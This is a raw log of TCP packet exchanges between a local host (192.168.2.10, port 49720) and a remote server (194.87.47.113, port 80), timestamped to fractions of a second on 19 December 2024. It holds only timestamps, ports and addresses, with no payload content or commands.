Dec 19, 2024 08:21:21.399162054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.399177074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.399200916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.400055885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.400069952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.400106907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.400777102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.400790930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.400825977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.401560068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.401602983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.401635885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.402399063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.402412891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.402437925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.403145075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.403285027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.403336048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.403958082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.403970957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.404002905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.404704094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.404736042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.405105114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.419697046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.419806957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.419893980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.420101881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.420177937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.420236111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.420800924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.420814037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.420841932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.421538115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.421574116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.421689034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.422328949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.422379971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.422563076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.423211098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.423297882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.423466921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.423979044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.423996925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.424022913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.440881014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.440896988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.440926075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.441173077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.441186905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.441210032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.441994905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.442024946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.442035913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.442810059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.442822933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.442859888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.443595886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.443612099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.443653107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.444521904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.444536924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.444556952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.445276022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.445291042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.445312023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.445952892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.446006060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.446038008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.446845055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.446883917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.447391033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.447592974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.447632074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.447742939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.448446989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.448460102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.448498011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.449250937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.449269056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.449330091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.449961901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.450031996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.450759888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.450773001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.450814009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.450822115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.451744080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.451759100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.451809883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.452476978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.452490091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.452512026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.453180075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.453207016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.453249931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.454155922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.454169035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.454205990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.454869986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.454901934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.455136061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.455724001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.455847025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.455857038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.456553936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.456615925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.457241058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.457254887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.457299948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.457390070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.458115101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.458128929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.458173037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.458781004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.458837986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.529920101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.529937029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.529979944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.530056953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.530345917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.530359030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.530388117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.531033993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.531075954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.531218052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.531932116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.531970024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.538000107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.538013935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.538063049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.538342953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.538356066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.538394928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.539130926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.539501905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.539544106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.540091038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.573374033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.573425055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.573476076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.573801041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.573860884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.573940992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.574652910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.574776888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.574835062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.575376034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.575517893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.575576067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.576426029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.576462984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.576478958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.577059031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.577114105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.577161074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.577797890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.577886105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.577934980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.590122938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.590172052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.590302944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.590507984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.590562105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.590594053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.591344118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.591381073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.591392994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.592063904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.592152119 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.592166901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.592940092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.592993975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.593039036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.593642950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.593774080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.593816042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.594506025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.594544888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.594552040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.595616102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.595653057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.595707893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.596468925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.596504927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.596518040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.597121954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.597168922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.597181082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.611840963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.611942053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.611963987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.612272978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.612309933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.612360954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.613048077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.613094091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.613198996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.613840103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.613925934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.613969088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.614684105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.614733934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.614775896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.615504026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.615554094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.615685940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.616503000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.616538048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.616545916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.632920027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.632952929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.632989883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.633033991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.633156061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.633187056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.633917093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.633953094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.633960962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.634671926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.634774923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.634834051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.635467052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.635550976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.635658979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.636421919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.636460066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.636476994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.637124062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.637161016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.637211084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.637923956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.637960911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.637973070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.638664961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.639003038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.639053106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.639426947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.639473915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.639576912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.640273094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.640362024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.640412092 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.641064882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.641113997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.641205072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.641947985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.641983032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.641997099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.642734051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.642771006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.642793894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.643433094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.643795967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.643848896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.644215107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.644263029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.644335985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.645047903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.645205021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.645257950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.645942926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.645981073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.646001101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.646616936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.646720886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.646775007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.647550106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.647609949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.647660017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.648550034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.648586988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.648606062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.649162054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.649198055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.649250984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.649852991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.649903059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.649957895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.650707960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.650743008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.650794983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.676558018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.722179890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.722202063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.722249985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.722358942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.722480059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.722544909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.722620010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.723272085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.723336935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.723366976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.724057913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.724097967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.729902029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.729983091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.730034113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.730350971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.730365992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.730506897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.731167078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.731183052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.731225967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.731831074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.765567064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.765592098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.765619993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.765928030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.765943050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.765980959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.766689062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.766705036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.766721964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.767424107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.767479897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.767659903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.768099070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.768178940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.768214941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.768874884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.769143105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.769177914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.769853115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.769866943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.769903898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.771260023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.771343946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.782310009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.782326937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.782372952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.782607079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.782620907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.782663107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.783483028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.783497095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.783891916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.784145117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.784183979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.784218073 CET	49720	80	192.168.2.10	194.87.47.113
